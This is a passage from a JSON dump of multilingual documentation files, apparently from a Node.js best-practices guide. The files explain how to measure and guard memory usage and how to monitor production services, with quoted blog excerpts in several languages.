    "content": "# メモリ使用量を測定してガードする\r\n\r\n<br/><br/>\r\n\r\n### 一段落説明\r\n\r\n完璧な世界では、ウェブ開発者はメモリリークに対処すべきではありません。実際には、メモリの問題は既知の Node の問題であり、気をつけなければなりません。何よりも、メモリ使用量を常に監視する必要があります。開発現場や小規模なプロダクションサイトでは、Linux コマンドや node-inspector や memwatch のような npm ツールやライブラリを使って手動で測定することもあります。このマニュアル活動の最大の欠点は、人間が積極的に監視する必要があることです。– 深刻なプロダクションサイトでは、（ AWS CloudWatch、DataDog、または同様のプロアクティブシステム）などの堅牢な監視ツールを使用して、リークが発生した場合に警告を出すことが絶対的に重要です。漏洩を防ぐための開発ガイドラインもいくつかあります: グローバルレベルでのデータの保存を避ける、動的なサイズのデータにはストリームを使用する、let や const を使用して変数のスコープを制限する。\r\n\r\n<br/><br/>\r\n\r\n### 他のブロガーが言っていること\r\n\r\n* ブログ [Dyntrace](https://www.dynatrace.com/news/blog/understanding-garbage-collection-and-hunting-memory-leaks-in-node-js/) より:\r\n> ... ”すでに学習したように、Node.js JavaScript は V8 でネイティブコードにコンパイルされています。結果として得られるネイティブなデータ構造は、元の表現とはあまり関係がなく、もっぱら V8 によって管理されています。つまり、JavaScript では能動的にメモリを割り当てたり、解放したりすることができません。V8 はこの問題に対処するために、ガベージコレクションと呼ばれるよく知られたメカニズムを使用しています。”\r\n\r\n* ブログ [Dyntrace](http://blog.argteam.com/coding/hardening-node-js-for-production-part-2-using-nginx-to-avoid-node-js-load) より:\r\n> ... “この例では明らかな結果が得られますが、プロセスは常に同じです。:\r\nある程度の時間をかけてヒープダンプを作成し、その間にかなりの量のメモリ割り当てを行います。\r\nいくつかのダンプを比較して、何が成長しているかを確認します。”\r\n\r\n* ブログ [Rising Stack](https://blog.risingstack.com/finding-a-memory-leak-in-node-js/) より:\r\n> ... “デフォルトでは、Node.js は約1.5 GB のメモリを使用しようとしますが、メモリの少ないシステムで実行する場合は上限を設定する必要があります。ガベージコレクションは非常にコストのかかる操作なので、これは予想される動作です。\r\nこれを解決するには、Node.js のプロセスに余分なパラメータを追加する必要がありました。:\r\nnode –max_old_space_size=400 server.js –production ”\r\n“なぜガベージコレクションはコストがかかるのでしょうか？V8 JavaScript エンジンは、stop-the-world ガベージコレクタ機構を採用しています。これは実際には、ガベージコレクションの実行中にプログラムの実行を停止することを意味します。”\r\n"
  },
  {
    "path": "sections/production/measurememory.korean.md",
    "content": "# Measure and guard the memory usage\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nIn a perfect world, a web developer shouldn’t deal with memory leaks. In reality, memory issues are a known Node’s gotcha one must be aware of. Above all, memory usage must be monitored constantly. In the development and small production sites, you may gauge manually using Linux commands or npm tools and libraries like node-inspector and memwatch. The main drawback of this manual activities is that they require a human being actively monitoring – for serious production sites, it’s absolutely vital to use robust monitoring tools e.g. (AWS CloudWatch, DataDog or any similar proactive system) that alerts when a leak happens. There are also few development guidelines to prevent leaks: avoid storing data on the global level, use streams for data with dynamic size, limit variables scope using let and const.\r\n\r\n<br/><br/>\r\n\r\n### What Other Bloggers Say\r\n\r\n* From the blog [Dyntrace](https://www.dynatrace.com/news/blog/understanding-garbage-collection-and-hunting-memory-leaks-in-node-js/):\r\n> ... ”As we already learned, in Node.js JavaScript is compiled to native code by V8. The resulting native data structures don’t have much to do with their original representation and are solely managed by V8. This means that we cannot actively allocate or deallocate memory in JavaScript. V8 uses a well-known mechanism called garbage collection to address this problem.”\r\n\r\n* From the blog [Dyntrace](http://blog.argteam.com/coding/hardening-node-js-for-production-part-2-using-nginx-to-avoid-node-js-load):\r\n> ... “Although this example leads to obvious results the process is always the same:\r\nCreate heap dumps with some time and a fair amount of memory allocation in between\r\nCompare a few dumps to find out what’s growing”\r\n\r\n* From the blog [Rising Stack](https://blog.risingstack.com/finding-a-memory-leak-in-node-js/):\r\n> ... “fault, Node.js will try to use about 1.5GBs of memory, which has to be capped when running on systems with less memory. This is the expected behavior as garbage collection is a very costly operation.\r\nThe solution for it was adding an extra parameter to the Node.js process:\r\nnode –max_old_space_size=400 server.js –production ”\r\n“Why is garbage collection expensive? The V8 JavaScript engine employs a stop-the-world garbage collector mechanism. In practice, it means that the program stops execution while garbage collection is in progress.”\r\n"
  },
  {
    "path": "sections/production/measurememory.md",
    "content": "# Measure and guard the memory usage\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nIn a perfect world, a web developer shouldn’t deal with memory leaks. In reality, memory issues are a known Node’s gotcha one must be aware of. Above all, memory usage must be monitored constantly. In the development and small production sites, you may gauge manually using Linux commands or npm tools and libraries like node-inspector and memwatch. The main drawback of this manual activities is that they require a human being actively monitoring – for serious production sites, it’s absolutely vital to use robust monitoring tools e.g. (AWS CloudWatch, DataDog or any similar proactive system) that alerts when a leak happens. There are also few development guidelines to prevent leaks: avoid storing data on the global level, use streams for data with dynamic size, limit variables scope using let and const.\r\n\r\n<br/><br/>\r\n\r\n### What Other Bloggers Say\r\n\r\n* From the blog [Dyntrace](https://www.dynatrace.com/news/blog/understanding-garbage-collection-and-hunting-memory-leaks-in-node-js/):\r\n> ... ”As we already learned, in Node.js JavaScript is compiled to native code by V8. The resulting native data structures don’t have much to do with their original representation and are solely managed by V8. This means that we cannot actively allocate or deallocate memory in JavaScript. V8 uses a well-known mechanism called garbage collection to address this problem.”\r\n\r\n* From the blog [Dyntrace](http://blog.argteam.com/coding/hardening-node-js-for-production-part-2-using-nginx-to-avoid-node-js-load):\r\n> ... “Although this example leads to obvious results the process is always the same:\r\nCreate heap dumps with some time and a fair amount of memory allocation in between\r\nCompare a few dumps to find out what’s growing”\r\n\r\n* From the blog [Rising Stack](https://blog.risingstack.com/finding-a-memory-leak-in-node-js/):\r\n> ... “fault, Node.js will try to use about 1.5GBs of memory, which has to be capped when running on systems with less memory. This is the expected behavior as garbage collection is a very costly operation.\r\nThe solution for it was adding an extra parameter to the Node.js process:\r\nnode –max_old_space_size=400 server.js –production ”\r\n“Why is garbage collection expensive? The V8 JavaScript engine employs a stop-the-world garbage collector mechanism. In practice, it means that the program stops execution while garbage collection is in progress.”\r\n"
  },
  {
    "path": "sections/production/measurememory.polish.md",
    "content": "# Zmierz i zabezpiecz zużycie pamięci\n\n<br/><br/>\n\n### Wyjaśnienie jednym akapitem\n\nW idealnym świecie programista nie powinien zajmować się wyciekami pamięci. W rzeczywistości problemy z pamięcią to znane problemy węzłów, o których trzeba pamiętać. Przede wszystkim należy stale monitorować zużycie pamięci. W witrynach programistycznych i małych zakładach produkcyjnych można ręcznie oceniać za pomocą poleceń systemu Linux lub narzędzi i bibliotek npm, takich jak inspektor węzłów i memwatch. Główną wadą tych ręcznych czynności jest to, że wymagają one aktywnego monitorowania przez człowieka - w przypadku poważnych zakładów produkcyjnych absolutnie niezbędne jest użycie solidnych narzędzi monitorowania, np. (AWS CloudWatch, DataDog lub inny podobny proaktywny system), który ostrzega o wystąpieniu wycieku. Istnieje również kilka wskazówek programistycznych, aby zapobiec wyciekom: unikaj przechowywania danych na poziomie globalnym, używaj strumieni danych o dynamicznym rozmiarze, ogranicz zakres zmiennych za pomocą let i const.\n\n<br/><br/>\n\n### Co mówią inni blogerzy\n\n* Z bloga [Dyntrace](https://www.dynatrace.com/news/blog/understanding-garbage-collection-and-hunting-memory-leaks-in-node-js/):\n> ... ”As we already learned, in Node.js JavaScript is compiled to native code by V8. The resulting native data structures don’t have much to do with their original representation and are solely managed by V8. This means that we cannot actively allocate or deallocate memory in JavaScript. V8 uses a well-known mechanism called garbage collection to address this problem.”\n\n* Z bloga [Dyntrace](http://blog.argteam.com/coding/hardening-node-js-for-production-part-2-using-nginx-to-avoid-node-js-load):\n> ... “Although this example leads to obvious results the process is always the same:\nCreate heap dumps with some time and a fair amount of memory allocation in between\nCompare a few dumps to find out what’s growing”\n\n* Z bloga [Rising Stack](https://blog.risingstack.com/finding-a-memory-leak-in-node-js/):\n> ... “fault, Node.js will try to use about 1.5GBs of memory, which has to be capped when running on systems with less memory. This is the expected behavior as garbage collection is a very costly operation.\nThe solution for it was adding an extra parameter to the Node.js process:\nnode –max_old_space_size=400 server.js –production ”\n“Why is garbage collection expensive? The V8 JavaScript engine employs a stop-the-world garbage collector mechanism. In practice, it means that the program stops execution while garbage collection is in progress.”\n"
  },
  {
    "path": "sections/production/measurememory.russian.md",
    "content": "# Измеряйте и защищайте использование памяти\r\n\r\n<br/><br/>\r\n\r\n### Объяснение в один абзац\r\n\r\nВ идеальном мире веб-разработчик не должен иметь дело с утечками памяти. На самом деле проблемы с памятью - это известная проблема Node, о которой нужно знать. Прежде всего, использование памяти должно постоянно контролироваться. На сайтах в стадии разработки или небольшого производства вы можете измерить это вручную, используя команды Linux или инструменты и библиотеки npm, такие как node-inspector и memwatch. Основным недостатком этих ручных действий является то, что они требуют активного участия человека для мониторинга - для серьезных производственных площадок абсолютно необходимо использовать надежные инструменты мониторинга, например, (AWS CloudWatch, DataDog или любая аналогичная проактивная система), которая предупреждает, когда происходит утечка. Существует также несколько рекомендаций по разработке для предотвращения утечек: избегайте хранения данных на глобальном уровне, используйте потоки для данных с динамическим размером, ограничивайте область видимости переменных с помощью let и const.\r\n\r\n<br/><br/>\r\n\r\n### Что говорят другие блоггеры\r\n\r\n* Из блога [Dyntrace](https://www.dynatrace.com/news/blog/understanding-garbage-collection-and-hunting-memory-leaks-in-node-js/):\r\n> ... \"Как мы уже узнали, в Node.js JavaScript компилируется в нативный код V8. Получающиеся в результате собственные структуры данных не имеют большого отношения к их исходному представлению и управляются исключительно V8. Это означает, что мы не можем активно выделять или освобождать память в JavaScript. V8 использует хорошо известный механизм сбора мусора для решения этой проблемы\".\r\n\r\n* Из блога [Dyntrace](http://blog.argteam.com/coding/hardening-node-js-for-production-part-2-using-nginx-to-avoid-node-js-load):\r\n> ... \"Хотя этот пример приводит к очевидным результатам, процесс всегда один и тот же:\r\nСоздайте дампы кучи с некоторым временем и достаточным количеством памяти, выделяемой между ними\r\nСравните несколько свалок, чтобы узнать, что растет\"\r\n\r\n* Из блога [Rising Stack](https://blog.risingstack.com/finding-a-memory-leak-in-node-js/):\r\n> ... \"ошибка, Node.js попытается использовать около 1,5ГБ памяти, которая должна быть ограничена при работе в системах с меньшим объемом памяти. Это ожидаемое поведение, поскольку сборка мусора является очень дорогостоящей операцией.\r\nРешением для этого было добавление дополнительного параметра в процесс Node.js:\r\nnode –max_old_space_size=400 server.js –production\"\r\n\"Почему сбор мусора стоит дорого? Движок V8 JavaScript использует механизм сборки мусора, который останавливает мир. На практике это означает, что программа останавливает выполнение, пока идет сбор мусора\".\r\n"
  },
  {
    "path": "sections/production/monitoring.basque.md",
    "content": "# Monitorizazioa!\r\n\r\n<br/><br/>\r\n\r\n### Azalpena\r\n\r\nMailarik oinarrizkoenean, kontrolak esan nahi du produkzioan _erraz_ identifikatu ahal izango duzula gauza txarrak noiz gertatzen diren, posta elektronikoz edo Slack bidez jakinaraziz, adibidez. Zure eskakizunak aseko dituen tresna multzo egokia aukeratzea da erronka, zure ekonomia lur jota geratu gabe. Proposatzen dizut zehatz dezazun egoera osasuntsu bat bermatzeko ezarri beharreko metrika multzo nagusia: PUZa, zerbitzariaren RAMa, Nodo prozesuaren RAMa (1,4 GB baino gutxiago), azken minutuko errore kopurua, prozesuaren berrabiarazte kopurua eta batez besteko erantzun denbora. Ondoren, aukeratu zure gustuko ezaugarri aurreratuak eta gehitu zure nahien zerrendara. Luxuzko monitorizazio funtzioaren adibide batzuk: DB profilak, zerbitzu gurutzatuak neurtzea (hau da, negozio transakzioa neurtzea), front-end integrazioa, datu gordinak BI pertsonalizatutako bezeroen aurrean uztea, Slack jakinarazpenak eta beste hainbat.\r\n\r\nFuntzio aurreratuak lortu nahi badituzu, konfigurazio luzea egin beharko duzu edo, bestela, Datadog, NewRelic eta antzeko produktu komertzialak erosi beharko dituzu. Zoritxarrez, oinarriak ere lortzea ez da parkean paseoan ibiltzea. Izan ere, metrika batzuk (PUZ) hardwarearekin lotuta daude eta beste batzuk nodoaren prozesuan bizi dira (barne erroreak), eta, beraz, tresna zuzen guztiek konfigurazio osagarria eskatzen dute. Adibidez, saltzaileen hodeiko kontrol irtenbideek (adibidez, [AWS CloudWatch](https://aws.amazon.com/cloudwatch/), [Google StackDriver](https://cloud.google.com/stackdriver/)) berehala emango dizute hardwarearen metrikaren berri, baina ez barneko aplikazioaren portaerarena. Beste aldetik, egunkarietan oinarritutako ElasticSearch bezalako irtenbideek ez dute lehenetsita hardwarearen ikuspegia. Irtenbidea zure aukera handitzea da falta diren metrikekin osatuz; adibidez, aukera ezagun bat aplikazioen erregistroak [Elastic stack](https://www.elastic.co/products)era bidaltzea da eta agente osagarri batzuk konfiguratzea (adibidez, [Beat](https://www.elastic.co/products)) hardwarearekin lotutako informazioa partekatuz argazki osoa lortzeko.\r\n\r\n<br/><br/>\r\n\r\n### Jarraipen adibidea: AWS cloudwatch panel lehenetsia. Zaila da aplikazioko metrika ateratzea\r\n\r\n![AWS cloudwatch panel lehenetsia. Zaila da aplikazioko metrika ateratzea](../../assets/images/monitoring1.png)\r\n\r\n<br/><br/>\r\n\r\n### Jarraipen adibidea: StackDriver panel lehenetsia. Zaila da aplikazioko metrika ateratzea\r\n\r\n![StackDriver panel lehenetsia. Zaila da aplikazioko metrika ateratzea](../../assets/images/monitoring2.jpg)\r\n\r\n<br/><br/>\r\n\r\n### Adibidea: Grafana datu gordinak bistaratzen dituen UI geruza gisa\r\n\r\n![Grafana datu gordinak bistaratzen dituen UI geruza gisa](../../assets/images/monitoring3.png)\r\n\r\n<br/><br/>\r\n\r\n### Beste blogari batzuek diotena\r\n\r\n[Rising Stack](https://blog.risingstack.com/node-js-performance-monitoring-with-prometheus/) bloga :\r\n\r\n> …Zure zerbitzu guztietako seinale horiek ikustea gomendatzen dizugu.\r\n> Errorea: erroreek erabiltzaileei aurre egiten dietelako eta zure bezeroei berehala eragiten dietelako\r\n> Erantzuteko denbora: latentziak zure bezeroei eta negozioari zuzenean eragiten dielako.\r\n> Trafikoa: trafikoak errore tasaren hazkundearen testuingurua ulertzen laguntzen dizu, bai eta latentzia ere.\r\n> Saturazioa: zure zerbitzua zeinen \"betea\" den adierazten du. PUZaren erabilera % 90 bada, zure sistemak trafiko gehiago kudeatu al dezake? …\r\n"
  },
  {
    "path": "sections/production/monitoring.brazilian-portuguese.md",
    "content": "# Monitoramento!\r\n\r\n<br/><br/>\r\n\r\n### Explicação em um Parágrafo\r\n\r\nNo nível básico, monitoramento significa que você pode *facilmente* identificar quando coisas ruins acontecem na produção. Por exemplo, ao ser notificado por email ou Slack. O desafio é escolher o conjunto certo de ferramentas que satisfarão suas necessidades sem quebrar seu banco. Posso sugerir, comece definindo o conjunto principal de métricas que devem ser observadas para garantir um estado íntegro - CPU, RAM do servidor, RAM do processo do Node (menos de 1,4 GB), o número de erros no último minuto, o número de reinícios do processo, tempo médio de resposta. Em seguida, analise alguns recursos avançados que você pode gostar e adicione-os à sua lista de desejos. Alguns exemplos de um recurso de monitoramento de luxo: criação de perfil de banco de dados, medição de serviço cruzado (isto é, medição de transação comercial), integração front-end, expor dados brutos a clientes de BI personalizados, notificações do Slack e muitos outros.\r\n\r\nAtingir os recursos avançados exige uma configuração demorada ou a compra de um produto comercial como Datadog, NewRelic e similares. Infelizmente, alcançar até mesmo o básico não é um passeio no parque, pois algumas métricas são relacionadas ao hardware (CPU) e outras vivem dentro do processo do Node (erros internos), portanto, todas as ferramentas simples requerem alguma configuração adicional. Por exemplo, soluções de monitoramento de fornecedores de nuvem (por exemplo, [AWS CloudWatch](https://aws.amazon.com/cloudwatch/), [Google StackDriver](https://cloud.google.com/stackdriver/)) informarão imediatamente sobre as métricas de hardware, mas não sobre o comportamento interno da aplicação. Por outro lado, soluções baseadas em log, como o ElasticSearch, não possuem a visualização de hardware por padrão. A solução é aumentar sua escolha com métricas ausentes, por exemplo, uma opção popular é enviar logs de aplicativos para o [Elastic stack](https://www.elastic.co/products) e configurar alguns agentes adicionais (por exemplo, [Beat](https://www.elastic.co/products)) para compartilhar informações relacionadas ao hardware para obter a imagem completa.\r\n\r\n<br/><br/>\r\n\r\n### Exemplo de monitoramento: painel padrão do AWS cloudwatch. Difícil de extrair métricas na aplicação\r\n\r\n![Painel padrão do AWS cloudwatch. Difícil de extrair métricas na aplicação](../../assets/images/monitoring1.png)\r\n\r\n<br/><br/>\r\n\r\n### Exemplo de monitoramento: painel padrão do StackDriver. Difícil de extrair métricas na aplicação\r\n\r\n![Painel padrão do StackDriver. Difícil de extrair métricas na aplicação](../../assets/images/monitoring2.jpg)\r\n\r\n<br/><br/>\r\n\r\n### Exemplo de monitoramento: Grafana como camada de interface do usuário que visualiza dados brutos\r\n\r\n![Grafana como camada de interface do usuário que visualiza dados brutos](../../assets/images/monitoring3.png)\r\n\r\n<br/><br/>\r\n\r\n### O que Outros Blogueiros Dizem\r\n\r\nDo blog [Rising Stack](https://blog.risingstack.com/node-js-performance-monitoring-with-prometheus/):\r\n\r\n> …Recomendamos que você observe esses sinais para todos os seus serviços:\r\n> Taxa de erros: porque os erros são enfrentados pelo usuário e afetam imediatamente seus clientes.\r\n> Tempo de resposta: porque a latência afeta diretamente seus clientes e negócios.\r\n> Taxa de transferência: o tráfego ajuda você a entender o contexto de taxas de erro aumentadas e a latência também.\r\n> Saturação: Diz quão “completo” é o seu serviço. Se o uso da CPU for de 90%, seu sistema pode lidar com mais tráfego? …\r\n"
  },
  {
    "path": "sections/production/monitoring.chinese.md",
    "content": "\r\n# 监控！\r\n\r\n<br/><br/>\r\n\r\n### 一段解释\r\n\r\n基本来说，当在生产环境中发生意外时，监控意味着你能够很*容易*识别它们。比如，通过电子邮件或Slack获得通知。挑战在于选择既能满足你的需求又不会破坏防护的合适工具集。我建议, 首先定义一组核心的度量标准, 这些指标必须被监视, 以确保健康状态 – CPU, 服务器RAM, Node进程RAM（小于1.4GB），最后一分钟的错误数量，进程重启次数，平均响应时间。然后去看看你可能喜欢的一些高级功能，并添加到你的愿望清单。一些高级监控功能的例子：DB分析，跨服务测量（即测量业务事务），前端集成，将原始数据展示给自定义BI客户端，Slack 通知等等。\r\n\r\n要实现高级功能需要冗长的设置或购买诸如Datadog，Newrelic之类的商业产品。不幸的是，实现基本功能也并不容易，因为一些测量标准是与硬件相关的（CPU），而其它则在node进程内（内部错误），因此所有简单的工具都需要一些额外的设置。例如，云供应商监控解决方案（例如[AWS CloudWatch](https://aws.amazon.com/cloudwatch/), [Google StackDriver](https://cloud.google.com/stackdriver/))能立即告诉您硬件度量标准，但不涉及内部应用程序行为。另一方面，基于日志的解决方案（如ElasticSearch）默认缺少硬件视图。解决方案是通过缺少的指标来增加您的选择，例如，一个流行的选择是将应用程序日志发送到[Elastic stack](https://www.elastic.co/products)并配置一些额外的代理（例如[Beat](https://www.elastic.co/products)）来共享硬件相关信息以获得完整的展现。\r\n\r\n<br/><br/>\r\n\r\n### 监控示例：AWS cloudwatch默认仪表板。很难提取应用内指标 \r\n\r\n![AWS cloudwatch default dashboard. Hard to extract in-app metrics](../../assets/images/monitoring1.png)\r\n\r\n<br/><br/>\r\n\r\n### 监控示例：StackDriver默认仪表板。很难提取应用内指标\r\n\r\n![StackDriver default dashboard. Hard to extract in-app metrics](../../assets/images/monitoring2.jpg)\r\n\r\n<br/><br/>\r\n\r\n### 监控示例：Grafana作为可视化原始数据的UI层\r\n\r\n\r\n![Grafana as the UI layer that visualizes raw data](../../assets/images/monitoring3.png)\r\n\r\n<br/><br/>\r\n### 其他博主说了什么\r\n  摘自博客 [Rising Stack](https://blog.risingstack.com/node-js-performance-monitoring-with-prometheus/):\r\n\r\n> ...我们建议您为所有服务监听这些信号：\r\n> 错误率：因为错误是用户面对的，并立即会影响您的客户。\r\n> 响应时间：因为延迟会直接影响您的客户和业务。\r\n> 吞吐量：流量可帮助您了解增加的错误率和延迟的上下文。\r\n> 饱和度：饱和度告诉你你的服务有多“满”。如果CPU使用率是90％，您的系统可以处理更多的流量吗？...\r\n"
  },
  {
    "path": "sections/production/monitoring.french.md",
    "content": "# Surveillance !\n\n<br/><br/>\n\n### Un paragraphe d'explication\n\nAu niveau le plus élémentaire, la surveillance signifie que vous pouvez facilement identifier quand de mauvaises choses se produisent en production. Par exemple, en étant averti par email ou Slack. Le défi est de choisir le bon ensemble d'outils qui répondra à vos besoins sans vous ruiner. Permettez-moi de vous suggérer de commencer par définir l'ensemble des paramètres de base qui doivent être surveillés pour garantir un état sain - CPU, RAM du serveur, RAM du processus de Node (moins de 1,4 GB), le nombre d'erreurs dans la dernière minute, le nombre de redémarrages du processus , temps de réponse moyen. Ensuite, passez en revue certaines fonctionnalités avancées dont vous pourriez avoir envie et ajoutez-les à votre liste de souhaits. Quelques exemples d'une fonction de surveillance de luxe : profilage de base de données, mesure interservices (c.-à-d. mesurer les transactions commerciales), intégration frontale, exposer les données brutes aux clients BI personnalisés, notifications Slack et bien d'autres.\n\nLa réalisation des fonctionnalités avancées nécessite une configuration longue ou l'achat d'un produit commercial tel que Datadog, newrelic et similaires. Malheureusement, atteindre même les bases n'est pas une promenade de santé car certaines mesures sont liées au matériel (CPU) et d'autres vivent dans le processus de Node (erreurs internes), donc tous les outils simples nécessitent une configuration supplémentaire. Par exemple, les solutions de surveillance des fournisseurs de cloud (par exemple [AWS CloudWatch](https://aws.amazon.com/cloudwatch/), [Google StackDriver](https://cloud.google.com/stackdriver/)) vous informeront immédiatement de la métrique du matériel, mais rien du comportement de l'application interne. À l'autre extrémité, les solutions basées sur les journaux telles que ElasticSearch manquent par défaut de la vue matérielle. La solution consiste à étendre votre choix avec des mesures manquantes, par exemple, un choix populaire consiste à envoyer des journaux d'application à la [pile Elastic](https://www.elastic.co/products) et à configurer un agent supplémentaire (par exemple [Beat](https://www.elastic.co/products)) pour partager des informations liées au matériel pour obtenir une image complète.\n\n<br/><br/>\n\n### Exemple de surveillance : tableau de bord par défaut AWS cloudwatch. Difficile d'extraire des mesures intégrées à l'application\n\n![Tableau de bord par défaut AWS cloudwatch. Difficile d'extraire des mesures intégrées à l'application](../../assets/images/monitoring1.png)\n\n<br/><br/>\n\n### Exemple de surveillance : tableau de bord par défaut de StackDriver. Difficile d'extraire des mesures intégrées à l'application\n\n![Tableau de bord par défaut de StackDriver. Difficile d'extraire des mesures intégrées à l'application](../../assets/images/monitoring2.jpg)\n\n<br/><br/>\n\n### Exemple de surveillance : Grafana comme couche d'interface utilisateur qui visualise les données brutes\n\n![Grafana comme couche d'interface utilisateur qui visualise les données brutes](../../assets/images/monitoring3.png)\n\n<br/><br/>\n\n### Ce que disent les autres blogueurs\n\nExtrait du blog de [Rising Stack](https://blog.risingstack.com/node-js-performance-monitoring-with-prometheus/) :\n\n> …Nous vous recommandons de surveiller ces signaux pour tous vos services :\n> Taux d'erreur : parce que les erreurs sont confrontées à l'utilisateur et affectent immédiatement vos clients.\n> Temps de réponse : car la latence affecte directement vos clients et votre entreprise.\n> Débit : le trafic vous aide à comprendre le contexte de l'augmentation des taux d'erreur et de la latence également.\n> Saturation : il indique à quel point votre service est « saturé ». Si l'utilisation du processeur est de 90%, votre système peut-il gérer plus de trafic ? …\n"
  },
  {
    "path": "sections/production/monitoring.japanese.md",
    "content": "# モニタリング!\r\n\r\n<br/><br/>\r\n\r\n### 一段落説明\r\n\r\n非常に基本的なレベルでは、モニタリングは、プロダクションで悪いことが起こったときに*簡単に*識別できることを意味します。例えば、メールやSlackで通知を受けることで識別します。課題は、あなたの銀行口座を枯渇させることなく、あなたの要件を満たすための適切なツールのセットを選択することです。提案しますが、健全な状態を確保するために監視しなければならないメトリクスのコアセットを定義することから始めましょう - CPU、サーバー RAM、ノードプロセス RAM（1.4GB未満）、最後の1分間のエラーの数、プロセスの再起動の数、平均応答時間。その後、あなたが好きそうないくつかの高度な機能を確認し、あなたの希望のリストに追加してください。豪華なモニタリング機能の例をいくつか紹介します: DB プロファイリング、クロスサービス測定（ビジネストランザクションの測定など）、フロントエンド統合、カスタム BI クライアントへの生データの公開、Slack通知など。\r\n\r\n高度な機能を実現するためには、セットアップに時間がかかるか、Datadog や NewRelic などの商用製品を購入する必要があります。残念ながら、いくつかのメトリクスはハードウェア関連（ CPU）であり、他のメトリクスはノードプロセス内に存在する（内部エラー）ため、すべての簡単なツールは追加のセットアップが必要であり、基本的なことでさえも達成することは簡単ではありません。例えば、クラウドベンダーの監視ソリューション（例：[AWS CloudWatch](https://aws.amazon.com/cloudwatch/)、[Google StackDriver](https://cloud.google.com/stackdriver/)）は、ハードウェアのメトリクスについてはすぐに教えてくれますが、内部のアプリの動作については教えてくれません。一方、ElasticSearch のようなログベースのソリューションは、デフォルトでハードウェアビューがありません。解決策は、欠落しているメトリクスを補強することです。例えば、一般的な選択肢は、アプリケーションログを [Elastic stack](https://www.elastic.co/products) に送信し、ハードウェア関連の情報を共有して全体像を把握するために、いくつかの追加エージェント(例えば [Beat](https://www.elastic.co/products) )を設定することです。\r\n\r\n<br/><br/>\r\n\r\n### モニタリング例: AWS cloudwatch のデフォルトダッシュボード。アプリ内メトリクスの抽出が難しい\r\n\r\n![AWS cloudwatch のデフォルトダッシュボード。アプリ内メトリクスの抽出が難しい](../../assets/images/monitoring1.png)\r\n\r\n<br/><br/>\r\n\r\n### モニタリング例: StackDriver のデフォルトダッシュボード。アプリ内メトリクスの抽出が難しい\r\n\r\n![StackDriver のデフォルトダッシュボード。アプリ内メトリクスの抽出が難しい](../../assets/images/monitoring2.jpg)\r\n\r\n<br/><br/>\r\n\r\n### モニタリング例: 生データを可視化するUIレイヤーとしての Grafana\r\n![生データを可視化するUIレイヤーとしての Grafana ](../../assets/images/monitoring3.png)\r\n\r\n<br/><br/>\r\n\r\n### 他のブロガーが言っていること\r\n\r\n[Rising Stack](https://blog.risingstack.com/node-js-performance-monitoring-with-prometheus/) のブログより:\r\n\r\n> ...すべてのサービスのために、これらの信号を見ることをお勧めします:\r\n> エラー率: なぜなら、エラーはユーザーが直面するものであり、すぐに顧客に影響を与えるからです。\r\n> 応答時間: 待ち時間が直接顧客やビジネスに影響を与えるからです。\r\n> スループット: トラフィックは、エラー率と遅延の増加のコンテキストを理解するのに役立ちます。\r\n> 飽和: サービスがどの程度「フル」であるかを示します。CPU 使用率が 90% の場合、システムはより多くのトラフィックを処理できますか？…\r\n"
  },
  {
    "path": "sections/production/monitoring.korean.md",
    "content": "# Monitoring!\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nAt the very basic level, monitoring means you can *easily* identify when bad things happen at production. For example, by getting notified by email or Slack. The challenge is to choose the right set of tools that will satisfy your requirements without breaking your bank. May I suggest, start with defining the core set of metrics that must be watched to ensure a healthy state – CPU, server RAM,  Node process RAM (less than 1.4GB), the number of errors in the last minute, number of process restarts, average response time. Then go over some advanced features you might fancy and add to your wish list. Some examples of a luxury monitoring feature: DB profiling, cross-service measuring (i.e. measure business transaction), front-end integration, expose raw data to custom BI clients, Slack notifications and many others.\r\n\r\nAchieving the advanced features demands lengthy setup or buying a commercial product such as Datadog, NewRelic and alike. Unfortunately, achieving even the basics is not a walk in the park as some metrics are hardware-related (CPU) and others live within the node process (internal errors) thus all the straightforward tools require some additional setup. For example, cloud vendor monitoring solutions (e.g. [AWS CloudWatch](https://aws.amazon.com/cloudwatch/), [Google StackDriver](https://cloud.google.com/stackdriver/)) will tell you immediately about the hardware metrics but not about the internal app behavior. On the other end, Log-based solutions such as ElasticSearch lack the hardware view by default. The solution is to augment your choice with missing metrics, for example, a popular choice is sending application logs to [Elastic stack](https://www.elastic.co/products) and configure some additional agent (e.g. [Beat](https://www.elastic.co/products)) to share hardware-related information to get the full picture.\r\n\r\n<br/><br/>\r\n\r\n### Monitoring example: AWS cloudwatch default dashboard. Hard to extract in-app metrics\r\n\r\n![AWS cloudwatch default dashboard. Hard to extract in-app metrics](../../assets/images/monitoring1.png)\r\n\r\n<br/><br/>\r\n\r\n### Monitoring example: StackDriver default dashboard. Hard to extract in-app metrics\r\n\r\n![StackDriver default dashboard. Hard to extract in-app metrics](../../assets/images/monitoring2.jpg)\r\n\r\n<br/><br/>\r\n\r\n### Monitoring example: Grafana as the UI layer that visualizes raw data\r\n\r\n![Grafana as the UI layer that visualizes raw data](../../assets/images/monitoring3.png)\r\n\r\n<br/><br/>\r\n\r\n### What Other Bloggers Say\r\n\r\nFrom the blog [Rising Stack](https://blog.risingstack.com/node-js-performance-monitoring-with-prometheus/):\r\n\r\n> …We recommend you to watch these signals for all of your services:\r\n> Error Rate: Because errors are user facing and immediately affect your customers.\r\n> Response time: Because the latency directly affects your customers and business.\r\n> Throughput: The traffic helps you to understand the context of increased error rates and the latency too.\r\n> Saturation: It tells how “full” your service is. If the CPU usage is 90%, can your system handle more traffic? …\r\n"
  },
  {
    "path": "sections/production/monitoring.md",
    "content": "# Monitoring!\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nAt the very basic level, monitoring means you can *easily* identify when bad things happen at production. For example, by getting notified by email or Slack. The challenge is to choose the right set of tools that will satisfy your requirements without breaking your bank. May I suggest, start with defining the core set of metrics that must be watched to ensure a healthy state – CPU, server RAM,  Node process RAM (less than 1.4GB), the number of errors in the last minute, number of process restarts, average response time. Then go over some advanced features you might fancy and add to your wish list. Some examples of a luxury monitoring feature: DB profiling, cross-service measuring (i.e. measure business transaction), front-end integration, expose raw data to custom BI clients, Slack notifications and many others.\r\n\r\nAchieving the advanced features demands lengthy setup or buying a commercial product such as Datadog, NewRelic and alike. Unfortunately, achieving even the basics is not a walk in the park as some metrics are hardware-related (CPU) and others live within the node process (internal errors) thus all the straightforward tools require some additional setup. For example, 